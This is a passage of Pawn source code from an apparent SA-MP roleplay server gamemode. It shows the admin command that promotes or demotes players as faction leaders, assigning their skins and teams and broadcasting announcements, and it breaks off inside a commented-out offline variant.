	if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
	tmp = strtok(cmdtext, idx);
	if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /makedj <Playerid/PartOfName>");
	new para1;
	para1 = ReturnUser6(tmp);
	if(!IsPlayerConnected(para1)) return SCM(playerid,COLOR_SINA3,"That player is offline.");
	GetPlayerName(para1, giveplayer, sizeof(giveplayer));
	GetPlayerName(playerid, sendername, sizeof(sendername));
	new strings[512],strring[512];
	if(PINFO[para1][pDJ] == 0) {
	PlayerInfo[para1][pDJ] = 1;
	SaveKonVal(para1, "pDJ", 1);
	format(strings, sizeof(strings), "{33ccff}You have been promoted to Radio dj by admin %s.",sendername);
	format(strring, sizeof(strring), "{FFFFFF}Admin %s promoted %s to DJ.",sendername,giveplayer);
	AdminWarn(strring);
	SCM(para1, COLOR_WHITE, strings);
	}
	else if(PINFO[para1][pDJ] == 1) {
	PlayerInfo[para1][pDJ] = 0;
	SaveKonVal(para1, "pDJ", 0);
	format(strings, sizeof(strings), "{33ccff}You have been demoted from Radio dj by admin %s.",sendername);
	format(strring, sizeof(strring), "{FFFFFF}Admin %s demoted %s from DJ.",sendername,giveplayer);
	AdminWarn(strring);
	SCM(para1, COLOR_WHITE, strings);
	}
	return 1;
	}
	*/
	if(strcmp(cmd, "/makeleader", true) == 0 || strcmp(cmd, "/ml", true) == 0)
	{
		if(PlayerInfo[playerid][pAdmin] < 6 && PlayerInfo[playerid][pMlp] == 0 && PlayerInfo[playerid][pSponser] == 0)
		{
			SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use this command.");
			return 1;
		}
		if(PlayerInfo[playerid][pAdmin] == 7 && PlayerInfo[playerid][pMlp] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
		if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) {SCM(playerid,COL_SYN,"Syntax: /makeleader <Playerid/PartOfName> <FactionID>"); return SCM(playerid,COL_SYN,"Use /ffnn to see factions with their id.");}
		new para1;
		new level;
		new leadersz = 0;
		para1 = ReturnUser6(tmp);
		if(!IsPlayerConnected(para1))return Error(playerid, "Error: That player isn't online.")
		if(PlayerInfo[playerid][pSponser] == 1 && para1 != playerid) return SCM(playerid, COLOR_YELLOW2, "Error: You can use this command for yourself.");
		if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
		  if(para1!=playerid)
		  {
			 SCM(playerid,COLOR_YELLOW2,"Error: You can't use this command on this syntax.");
			 return 1;
		  }
	   }
	   if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		if(!IsPlayerConnected(para1)) return SCM(playerid,COLOR_SINA3,"That player is offline.");
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) {SCM(playerid,COL_SYN,"Syntax: /makeleader <Playerid/PartOfName> <FactionID>"); return SCM(playerid,COL_SYN,"Use /ffnn to see factions with their id.");}
		level = strval(tmp);
		if(GetPlayerWantedLevel(para1) >= 1)
		{
			SCM(playerid,COLOR_LIGHTRED,"That player has wanted level.");
			return 1;
		}
		if((level > 17) || (level < 0)) return SCM(playerid,COLOR_SINA3,"That FactionID is wrong, use /ffnn to see factions with their id.");
		if(PINFO[para1][pMember] >= 1) return SCM(playerid, COLOR_YELLOW2, "Error: That player is already in a faction.");
		if(PINFO[para1][pLeader] >= 1 && level != 0) return SCM(playerid, COLOR_YELLOW2, "Error: You should demote this player first.");
		if(PINFO[para1][pLeader] == level) return SCM(playerid, COLOR_YELLOW2, "Error: That player is already in this state.");
		new faname[128];
		if(PINFO[para1][pLeader] == 0 && PINFO[para1][pAdmin] >= 1)
		{
		leadersz = 1;
		}
		if(level == 0) { faname = "Cilivian"; }
		else if(level == 1) { faname = "Police Department"; }
		else if(level == 2) { faname = "Federal Bureau of Investigation"; }
		else if(level == 3) { faname = "National Guard"; }
		else if(level == 4) { faname = "Fire & Medic Department"; }
		else if(level == 5) { faname = "The Silence Mafia"; }
		else if(level == 6) { faname = "The Killers Family"; }
		else if(level == 7) { faname = "Mayor"; }
		else if(level == 8) { faname = "Hitman Agency"; }
		else if(level == 9) { faname = "News Reporter"; }
		else if(level == 10) { faname = "Taxi Driver"; }
		else if(level == 11) { faname = "School Instructor"; }
		else if(level == 12) { faname = "Dangerous Tiger Family"; }
		else if(level == 13) { faname = "Legendary Men Family"; }
		else if(level == 14) { faname = "Fast N Furious Family"; }
		else if(level == 15) { faname = "Storm Men Family"; }
		else if(level == 16) { faname = "Tow Truck Company"; }
		else if(level == 17) { faname = "Unknowns"; }
		else if(level == 19) { faname = "Top Boys"; }
		else if(level == 20) { faname = "San Fiero Police Departament"; }
		//else if(level == 21) { faname = "SoldierShip"; }// It's need to change!
		else { faname = "Unknown"; }
		if(PlayerInfo[para1][pMember] > 0)
		{
			SendMessage(playerid, COLOR_GREY, "That player is in a Faction/Family/Punished!");
			return 1;
		}
		new Lol = PINFO[para1][pLeader];
		new strr[256];
		new strring[128];
		new strings[256];
		GetPlayerName(para1, giveplayer, sizeof(giveplayer));
		GetPlayerName(playerid, sendername, sizeof(sendername));
		PlayerInfo[para1][pLeader] = level;
		SaveKonVal(para1, "pLeader", level);
		ResetActivities(para1);
		format(strings, sizeof(strings), "{33ccff}You have been demoted to civilian by admin %s.",sendername);
		format(strring, sizeof(strring), "{C60000}[Admin-Warn]: {FFFFFF}Admin %s demoted %s to civilian.",sendername,giveplayer);
		if(level == 0)
		{
			new Member[64];
			format(Member, sizeof(Member), "%d",Lol);

			new reas[70];
			format(reas, sizeof(reas), "%s",PINFO[playerid][pName]);
			AddLog(PINFO[para1][pName], Member, "Left the faction [RLeader]", reas, 2);
			PlayerInfo[para1][fSkin] = 170;
			SaveKonVal(para1, "fSkin", 170);
		  PlayerInfo[para1][pAav] = 0;
		  SaveKonVal(para1, "pAav", 0);
			new query[512];
			mysql_format(handle, query, 512, "UPDATE `users` SET pDFaction='0' WHERE pName='%e'",PINFO[para1][pName]);
			mysql_tquery(handle, query, "SendQuery", "");
			PlayerInfo[para1][pRank] = 0;
			SaveKonVal(para1, "pRank", 0);
			PlayerInfo[para1][pTeam] = TEAM_CIV;
			SaveKonVal(para1, "pTeam", TEAM_CIV);
			SCM(para1, COLOR_WHITE, strings);
			ABroadCast(COLOR_WHITE,strring,1);
			ResetPlayerKolang(para1);
			SetPlayerSkin(para1, PlayerInfo[para1][cSkin]);
			PINFO[para1][pLeader] = 0;
			SaveKonVal(para1, "pLeader", 0);
			SetPlayerToTeamColor(para1);
			SetSpawnKol(para1);
			TogglePlayerControllable(para1, 1);
			if(ShouldKill[para1]!=0){ShouldKill[para1]=0;}
			//PlayerTextDrawSetPreviewModel(para1, SkinPreview[para1], PlayerInfo[para1][cSkin]);
		  //PlayerTextDrawShow(para1, SkinPreview[para1]);
			//if(PINFO[para1][pAdmin] < 12) SetPlayerSkin(para1, 217);
			return 1;
		}
		format(string, sizeof(string), "You have been promoted to %s leader by admin %s.", faname, sendername);
		SendMessage(para1, COLOR_LIGHTBLUE, string);
		ResetPlayerKolang(para1);
		//format(string, sizeof(string), "You have given %s control to run Faction %s.", giveplayer,faname);
		//SendMessage(playerid, COLOR_WHITE, string);
		new fanam[128];
		if(level == 0) { fanam = "{FFFFFF}Cilivian"; }
		else if(level == 1) { fanam = "{0000ff}Police Department"; }
		else if(level == 2) { fanam = "{0000CC}Federal Bureau of Investigation"; }
		else if(level == 3) { fanam = "{2c4c9b}National Guard"; }
		else if(level == 4) { fanam = "{FF4500}Fire & Medic Department"; }
		else if(level == 5) { fanam = "{5D7E8D}The Silence Mafia"; }
		else if(level == 6) { fanam = "{3E3535}The Killers Family"; }
		else if(level == 7) { fanam = "{BBF060}Mayor"; }
		else if(level == 8) { fanam = "{8E2323}Hitman Agency"; }
		else if(level == 9) { fanam = "{825B8C}News Reporter"; }
		else if(level == 10) { fanam = "{FFFF00}Taxi Driver"; }
		else if(level == 11) { fanam = "{00a6ff}School Instructor"; }
		else if(level == 12) { fanam = "{19AF23}Dangerous Tiger Family"; }
		else if(level == 13) { fanam = "{FFBA00}Legendary Men Family"; }
		else if(level == 14) { fanam = "{B32CF6}Fast N Furious Family"; }
		else if(level == 15) { fanam = "{00ECEC}Storm Men Family"; }
		else if(level == 16) { fanam = "{F9F7CE}Tow Truck Company"; }
		else if(level == 17) { fanam = "{7A7399}Unknowns"; }
		else if(level == 19) { fanam = "{0E47FF}Top Boys Family"; }
		else if(level == 20) { fanam = "{60F565}San Fiero Police Departement"; }
		//else if(level == 21) { fanam = "{7D633B}SoldierShip"; }// It's need to change!

		format(strr, sizeof(strr), "[Admin-Warn]: {FFFFFF}Admin %s has promoted %s to be leader of %s{ffffff}.", sendername, giveplayer, fanam);
		new Member[64];
		format(Member, sizeof(Member), "%d",level);
		new reas[70];
		format(reas, sizeof(reas), "%s",PINFO[playerid][pName]);


		ABroadCast(COLOR_AdminWarn,strr,1);
		PlayerInfo[para1][pRank] = 7;
		SaveKonVal(para1, "pRank", 7);
		ResetActivities(para1);
		new admine[144];
		if(level == 1)
		{
			PlayerInfo[para1][fSkin] = 265;
			SaveKonVal(para1, "fSkin", 265);
			PlayerInfo[para1][pTeam] = TEAM_COP;
			//PlayerTextDrawSetPreviewModel(para1, SkinPreview[para1], 265);
		  //PlayerTextDrawShow(para1, SkinPreview[para1]);
		  PlayerInfo[para1][pLav] = 0;
		  SaveKonVal(para1, "pLav", 0);
		  TogglePlayerControllable(para1, 1);
			if(NaWarn == 1 && PINFO[para1][pAdmin] == 0)
			{
		  format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new Leader of Police Department known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[para1][pName]);
		  OOCOff(COLOR_AdminWarn,admine);
			}
		} //Police Force
		else if(level == 2)
		{
			PlayerInfo[para1][fSkin] = 286;
			SaveKonVal(para1, "fSkin", 286);
			PlayerInfo[para1][pTeam] = TEAM_COP;
			//PlayerTextDrawSetPreviewModel(para1, SkinPreview[para1], 286);
		  //PlayerTextDrawShow(para1, SkinPreview[para1]);
		  PlayerInfo[para1][pLav] = 0;
		  SaveKonVal(para1, "pLav", 0);
		  TogglePlayerControllable(para1, 1);
			if(NaWarn == 1 && PINFO[para1][pAdmin] == 0)
			{
		  format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new Leader of F.B.I known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[para1][pName]);
		  OOCOff(COLOR_AdminWarn,admine);
			}
		} //FBI
		else if(level == 3)
		{
			PlayerInfo[para1][fSkin] = 287;
			SaveKonVal(para1, "fSkin", 287);
			PlayerInfo[para1][pTeam] = TEAM_COP;
			//PlayerTextDrawSetPreviewModel(para1, SkinPreview[para1], 287);
		  //PlayerTextDrawShow(para1, SkinPreview[para1]);
		  PlayerInfo[para1][pLav] = 0;
		  SaveKonVal(para1, "pLav", 0);
		  TogglePlayerControllable(para1, 1);
			if(NaWarn == 1 && PINFO[para1][pAdmin] == 0)
			{
		  format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new Leader of National Guard known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[para1][pName]);
		  OOCOff(COLOR_AdminWarn,admine);
			}
		} //National Guard
		else if(level == 4)
		{
			PlayerInfo[para1][fSkin] = 228;
			SaveKonVal(para1, "fSkin", 228);
			PlayerInfo[para1][pTeam] = TEAM_MEDIC;
			//PlayerTextDrawSetPreviewModel(para1, SkinPreview[para1], 228);
		  //PlayerTextDrawShow(para1, SkinPreview[para1]);
		  PlayerInfo[para1][pLav] = 0;
		  SaveKonVal(para1, "pLav", 0);
		  TogglePlayerControllable(para1, 1);
			if(NaWarn == 1 && PINFO[para1][pAdmin] == 0)
			{
		  format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new Leader of Paramedic known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[para1][pName]);
		  OOCOff(COLOR_AdminWarn,admine);
			}
		} //Fire/Ambulance
		else if(level == 5)
		{
			PlayerInfo[para1][fSkin] = 111;
			SaveKonVal(para1, "fSkin", 111);
			PlayerInfo[para1][pTeam] = TEAM_SM;
			//PlayerTextDrawSetPreviewModel(para1, SkinPreview[para1], 111);
		  //PlayerTextDrawShow(para1, SkinPreview[para1]);
		  PlayerInfo[para1][pLav] = 0;
		  SaveKonVal(para1, "pLav", 0);
		  TogglePlayerControllable(para1, 1);
			if(NaWarn == 1 && PINFO[para1][pAdmin] == 0)
			{
		  format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new Leader of The Silence Mafia known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[para1][pName]);
		  OOCOff(COLOR_AdminWarn,admine);
			}
		} //Da Nang Boys
		else if(level == 6)
		{
			PlayerInfo[para1][fSkin] = 113;
			SaveKonVal(para1, "fSkin", 113);
			PlayerInfo[para1][pTeam] = TEAM_KM;
			//PlayerTextDrawSetPreviewModel(para1, SkinPreview[para1], 113);
		  //PlayerTextDrawShow(para1, SkinPreview[para1]);
		  PlayerInfo[para1][pLav] = 0;
		  SaveKonVal(para1, "pLav", 0);
		  TogglePlayerControllable(para1, 1);
			if(NaWarn == 1 && PINFO[para1][pAdmin] == 0)
			{
		  format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new Leader of The Killers Family known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[para1][pName]);
		  OOCOff(COLOR_AdminWarn,admine);
			}
		} //Triads
		else if(level == 7)
		{
			PlayerInfo[para1][fSkin] = 295;
			SaveKonVal(para1, "fSkin", 295);
			PlayerInfo[para1][pTeam] = TEAM_CIV;
			//PlayerTextDrawSetPreviewModel(para1, SkinPreview[para1], 295);
		  //PlayerTextDrawShow(para1, SkinPreview[para1]);
		  PlayerInfo[para1][pLav] = 0;
		  SaveKonVal(para1, "pLav", 0);
		  TogglePlayerControllable(para1, 1);
			if(NaWarn == 1 && PINFO[para1][pAdmin] == 0)
			{
		  format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new Mayor known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[para1][pName]);
		  OOCOff(COLOR_AdminWarn,admine);
			}
		} //Mayor
		else if(level == 8)
		{
			PlayerInfo[para1][fSkin] = 294;
			SaveKonVal(para1, "fSkin", 294);
			PlayerInfo[para1][pTeam] = TEAM_HITMAN;
			//PlayerTextDrawSetPreviewModel(para1, SkinPreview[para1], 294);
		  //PlayerTextDrawShow(para1, SkinPreview[para1]);
		  PlayerInfo[para1][pLav] = 0;
		  SaveKonVal(para1, "pLav", 0);
		  TogglePlayerControllable(para1, 1);
			if(NaWarn == 1 && PINFO[para1][pAdmin] == 0)
			{
		  format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new Leader of Hitman Agency known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[para1][pName]);
		  OOCOff(COLOR_AdminWarn,admine);
			}
		} //Hitmans
		else if(level == 9)
		{
			PlayerInfo[para1][fSkin] = 147;
			SaveKonVal(para1, "fSkin", 147);
			PlayerInfo[para1][pTeam] = TEAM_NEWS;
			//PlayerTextDrawSetPreviewModel(para1, SkinPreview[para1], 147);
		  //PlayerTextDrawShow(para1, SkinPreview[para1]);
		  PlayerInfo[para1][pLav] = 0;
		  SaveKonVal(para1, "pLav", 0);
		  TogglePlayerControllable(para1, 1);
			if(NaWarn == 1 && PINFO[para1][pAdmin] == 0)
			{
		  format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new Leader of News Reporter known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[para1][pName]);
		  OOCOff(COLOR_AdminWarn,admine);
			}
		} //News Reporters
		else if(level == 10)
		{
			PlayerInfo[para1][fSkin] = 61;
			SaveKonVal(para1, "fSkin", 61);
			TogglePlayerControllable(para1, 1);
			PlayerInfo[para1][pTeam] = TEAM_TAXI;
			//PlayerTextDrawSetPreviewModel(para1, SkinPreview[para1], 61);
		  //PlayerTextDrawShow(para1, SkinPreview[para1]);
		  PlayerInfo[para1][pLav] = 0;
		  SaveKonVal(para1, "pLav", 0);
			if(NaWarn == 1 && PINFO[para1][pAdmin] == 0)
			{
		  format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new Leader of Taxi Driver known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[para1][pName]);
		  OOCOff(COLOR_AdminWarn,admine);
			}
		} //Taxi Cab Company
		else if(level == 11)
		{
			PlayerInfo[para1][fSkin] = 171;
			SaveKonVal(para1, "fSkin", 171);
			TogglePlayerControllable(para1, 1);
			PlayerInfo[para1][pTeam] = TEAM_SI;
			//PlayerTextDrawSetPreviewModel(para1, SkinPreview[para1], 171);
		  //PlayerTextDrawShow(para1, SkinPreview[para1]);
		  PlayerInfo[para1][pLav] = 0;
		  SaveKonVal(para1, "pLav", 0);
			if(NaWarn == 1 && PINFO[para1][pAdmin] == 0)
			{
		  format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new Leader of School Instructor known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[para1][pName]);
		  OOCOff(COLOR_AdminWarn,admine);
			}
		} //Driving/Flying School
		else if(level == 12)
		{
			PlayerInfo[para1][fSkin] = 270;
			SaveKonVal(para1, "fSkin", 270);
			TogglePlayerControllable(para1, 1);
			PlayerInfo[para1][pTeam] = TEAM_GroveStreet;
			//PlayerTextDrawSetPreviewModel(para1, SkinPreview[para1], 270);
		  //PlayerTextDrawShow(para1, SkinPreview[para1]);
		  PlayerInfo[para1][pLav] = 0;
		  SaveKonVal(para1, "pLav", 0);
			if(NaWarn == 1 && PINFO[para1][pAdmin] == 0)
			{
		  format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new Leader of Dangerous Tigers Family known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[para1][pName]);
		  OOCOff(COLOR_AdminWarn,admine);
			}
		} //Grove Street Family
		else if(level == 13)
		{
			PlayerInfo[para1][fSkin] = 126;
			SaveKonVal(para1, "fSkin", 126);
			PlayerInfo[para1][pTeam] = TEAM_Vagos;
			//PlayerTextDrawSetPreviewModel(para1, SkinPreview[para1], 126);
		  //PlayerTextDrawShow(para1, SkinPreview[para1]);
		  PlayerInfo[para1][pLav] = 0;
		  SaveKonVal(para1, "pLav", 0);
		  TogglePlayerControllable(para1, 1);
			if(NaWarn == 1 && PINFO[para1][pAdmin] == 0)
			{
		  format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new Leader of The Legendary Men Family known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[para1][pName]);
		  OOCOff(COLOR_AdminWarn,admine);
			}
		} //Vagos Family
		else if(level == 14)
		{
			PlayerInfo[para1][fSkin] = 185;
			SaveKonVal(para1, "fSkin", 185);
			PlayerInfo[para1][pTeam] = TEAM_TBF;
			//PlayerTextDrawSetPreviewModel(para1, SkinPreview[para1], 185);
		  //PlayerTextDrawShow(para1, SkinPreview[para1]);
		  PlayerInfo[para1][pLav] = 0;
		  SaveKonVal(para1, "pLav", 0);
		  TogglePlayerControllable(para1, 1);
			if(NaWarn == 1 && PINFO[para1][pAdmin] == 0)
			{
		  format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new Leader of Fast N Furious Family known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[para1][pName]);
		  OOCOff(COLOR_AdminWarn,admine);
			}
		} //TBF Family
		else if(level == 15)
		{
			PlayerInfo[para1][fSkin] = 115;
			SaveKonVal(para1, "fSkin", 115);
			PlayerInfo[para1][pTeam] = TEAM_VLA;
			//PlayerTextDrawSetPreviewModel(para1, SkinPreview[para1], 115);
		  //PlayerTextDrawShow(para1, SkinPreview[para1]);
		  PlayerInfo[para1][pLav] = 0;
		  SaveKonVal(para1, "pLav", 0);
		  TogglePlayerControllable(para1, 1);
			if(NaWarn == 1 && PINFO[para1][pAdmin] == 0)
			{
		  format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new Leader of Storm Men Family known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[para1][pName]);
		  OOCOff(COLOR_AdminWarn,admine);
			}
		} //VLA
		else if(level == 16)
		{
			PlayerInfo[para1][fSkin] = 268;
			SaveKonVal(para1, "fSkin", 268);
			PlayerInfo[para1][pTeam] = TEAM_TOW;
			//PlayerTextDrawSetPreviewModel(para1, SkinPreview[para1], 268);
		  //PlayerTextDrawShow(para1, SkinPreview[para1]);
		  PlayerInfo[para1][pLav] = 0;
		  SaveKonVal(para1, "pLav", 0);
		  TogglePlayerControllable(para1, 1);
			if(NaWarn == 1 && PINFO[para1][pAdmin] == 0)
			{
		  format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new Leader of Tow Truck Company known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[para1][pName]);
		  OOCOff(COLOR_AdminWarn,admine);
			}
		} //Tow Car Company
			else if(level == 17)
		{
			PlayerInfo[para1][fSkin] = 120;
			SaveKonVal(para1, "fSkin", 120);
			PlayerInfo[para1][pTeam] = TEAM_HACKER;
			//PlayerTextDrawSetPreviewModel(para1, SkinPreview[para1], 217);
		  //PlayerTextDrawShow(para1, SkinPreview[para1]);
		  PlayerInfo[para1][pLav] = 0;
		  SaveKonVal(para1, "pLav", 0);
		  TogglePlayerControllable(para1, 1);
			if(NaWarn == 1 && PINFO[para1][pAdmin] == 0)
			{
		  format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new Leader of Unknowns known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[para1][pName]);
		  OOCOff(COLOR_AdminWarn,admine);
			}
		} //Hacker
			else if(level == 19)
		{
			PlayerInfo[para1][fSkin] = 23;
			SaveKonVal(para1, "fSkin", 23);
			PlayerInfo[para1][pTeam] = TEAM_TopBoys;
			//PlayerTextDrawSetPreviewModel(para1, SkinPreview[para1], 23);
		  //PlayerTextDrawShow(para1, SkinPreview[para1]);
		  PlayerInfo[para1][pLav] = 0;
		  SaveKonVal(para1, "pLav", 0);
		  TogglePlayerControllable(para1, 1);
			//if(NaWarn == 1 && PINFO[para1][pAdmin] == 0)
			//{
			//new admine[3072];
		  //format(admine,3072,"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new Leader of Unknown known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[para1][pName]);
		  //OOCOff(COLOR_AdminWarn,admine);
			//}
		} //Staff
			else if(level == 20)
		{
			PlayerInfo[para1][fSkin] = 164;
			SaveKonVal(para1, "fSkin", 164);
			PlayerInfo[para1][pTeam] = TEAM_COP;
			//PlayerTextDrawSetPreviewModel(para1, SkinPreview[para1], 164);
		  //PlayerTextDrawShow(para1, SkinPreview[para1]);
		  PlayerInfo[para1][pLav] = 0;
		  SaveKonVal(para1, "pLav", 0);
		  TogglePlayerControllable(para1, 1);
			if(NaWarn == 1 && PINFO[para1][pAdmin] == 0)
			{
		  format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new Leader of San Fiero Police Department known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[para1][pName]);
		  OOCOff(COLOR_AdminWarn,admine);
			}
		} //SFPD
		else if(level == 21)
		{
			PlayerInfo[para1][pTeam] = TEAM_CIV;
			SaveKonVal(para1, "pTeam", TEAM_CIV);
			PlayerInfo[para1][fSkin] = 287;
			SaveKonVal(para1, "fSkin", 287);
			//PlayerTextDrawSetPreviewModel(para1, SkinPreview[para1], 287);
		  //PlayerTextDrawShow(para1, SkinPreview[para1]);
		  PlayerInfo[para1][pLav] = 0;
		  SaveKonVal(para1, "pLav", 0);
		  TogglePlayerControllable(para1, 1);
			if(NaWarn == 1 && PINFO[para1][pAdmin] == 0)
			{
		  format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new Leader of Soldier Ship known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[para1][pName]);// It's need to change!
		  OOCOff(COLOR_AdminWarn,admine);
			}
		} //SoldierShip
		SaveKonVal(para1, "fSkin", PINFO[para1][fSkin]);
		SaveKonVal(para1, "pTeam", PINFO[para1][pTeam]);
		SetPlayerSkin(para1, PlayerInfo[para1][fSkin]);
		SetPlayerToTeamColor(para1);
		SetSpawnKol(para1);
		TogglePlayerControllable(para1, 1);
		if(ImMining[para1]!=0)ImMining[para1]=0;
		if(leadersz == 1 && level != 0)
		{
		//LeaderOnline ++;
		leadersz = 0;
		}
		//if(PINFO[para1][pAdmin] < 12) SetPlayerSkin(para1, 217);
		//SaveAccount(para1);

		AddLog(PINFO[para1][pName], Member, "Joined the faction [RLeader]", reas, 1);
		return 1;
	}
	/*
	if(strcmp(cmd, "/makeleaderoffline", true) == 0 || strcmp(cmd, "/mloffline", true) == 0)
	{
		if(PlayerInfo[playerid][pAdmin] <= 5)
		{
			SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use this command.");
			return 1;
		}
		if(PlayerInfo[playerid][pAdmin] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
		if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) {SCM(playerid,COL_SYN,"Syntax: /makeleader <Playerid/PartOfName> <FactionID>"); return SCM(playerid,COL_SYN,"Use /ffnn to see factions with their id.");}
		new para1;
		new level;
		para1 = ReturnUser6(tmp);
		if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
		  if(para1!=playerid)
		  {
			 SCM(playerid,COLOR_SINA2,"Error:{FF0000} You can't promote/demote another players. you can just promote/demote yourself.");
			 return 1;
		  }
	   }
	   if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) {SCM(playerid,COL_SYN,"Syntax: /makeleader <Playerid/PartOfName> <FactionID>"); return SCM(playerid,COL_SYN,"Use /ffnn to see factions with their id.");}
		level = strval(tmp);
		if(GetPlayerWantedLevel(para1) >= 1)
		{
			SCM(playerid,COLOR_LIGHTRED,"That player has Wanted level.");
			return 1;
		}
		if((level != 21 && level > 17) || (level < 0)) return SCM(playerid,COLOR_SINA3,"That FactionID is wrong, use /ffnn to see factions with their id.");
		new faname[128];
		if(level == 0) { faname = "Cilivian"; }
		else if(level == 1) { faname = "Police Department"; }
		else if(level == 2) { faname = "Federal Bureau of Investigation"; }
		else if(level == 3) { faname = "National Guard"; }
		else if(level == 4) { faname = "Fire & Medic Department"; }
		else if(level == 5) { faname = "The Silence Mafia"; }
		else if(level == 6) { faname = "The Killers Family"; }
		else if(level == 7) { faname = "Mayor"; }
		else if(level == 8) { faname = "Hitman Agency"; }
		else if(level == 9) { faname = "News Reporter"; }
		else if(level == 10) { faname = "Taxi Driver"; }
		else if(level == 11) { faname = "School Instructor"; }
		else if(level == 12) { faname = "Dangerous Tiger Family"; }
		else if(level == 13) { faname = "Legendary Men Family"; }
		else if(level == 14) { faname = "Fast N Furious Family"; }
		else if(level == 15) { faname = "Storm Men Family"; }
		else if(level == 16) { faname = "Tow Truck Company"; }
		else if(level == 17) { faname = "Staff"; }
		else if(level == 19) { faname = "Top Boys"; }
		else if(level == 20) { faname = "San Fiero Police Departament"; }
		else if(level == 21) { faname = "SoldierShip"; }
		else { faname = "Unknown"; }
		if(PlayerInfo[para1][pMember] > 0)
		{
			SendMessage(playerid, COLOR_GREY, "That player is in a Faction/Family/Punished!");
			return 1;
		}
		new Lol = PINFO[para1][pLeader];
		new strr[256];
		new strring[128];
		new strings[256];
		GetPlayerName(para1, giveplayer, sizeof(giveplayer));
		GetPlayerName(playerid, sendername, sizeof(sendername));
		PlayerInfo[para1][pLeader] = level;
		SaveKonValSina(para1, "pLeader", level);
		format(strring, sizeof(strring), "{C60000}[Admin-Warn]: {FFFFFF}Admin %s demoted %s. to civilian.",sendername,giveplayer);
		if(level == 0)
		{
			new Member[64];
			format(Member, sizeof(Member), "%d",Lol);

			new reas[70];
			format(reas, sizeof(reas), "%s",PINFO[playerid][pName]);
			AddLog(PINFO[para1][pName], Member, "Left the faction [RLeader]", reas, 2);
			PlayerInfo[para1][fSkin] = 250;
			SaveKonVal(para1, "fSkin", 250);
			new query[512];
			mysql_format(handle, query, 512, "UPDATE `users` SET pDFaction='0' WHERE pName='%e'",PINFO[para1][pName]);
			mysql_tquery(handle, query, "SendQuery", "");
			PlayerInfo[para1][pRank] = 0;
